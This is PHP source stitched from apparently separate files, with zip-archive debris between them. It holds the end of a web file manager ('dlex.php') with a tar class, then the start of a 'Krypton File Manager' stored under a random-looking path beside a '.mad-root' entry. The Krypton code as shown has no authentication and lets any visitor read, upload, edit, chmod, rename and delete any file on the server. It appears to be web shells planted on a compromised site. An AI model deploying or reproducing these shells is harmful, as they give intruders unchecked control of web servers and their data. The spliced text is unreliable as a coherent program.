			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/dlex.php">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK!17/.mad-rootnu�[���PK!�d��o�o�17/2lcn6t/eza37.phpnu�[���<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
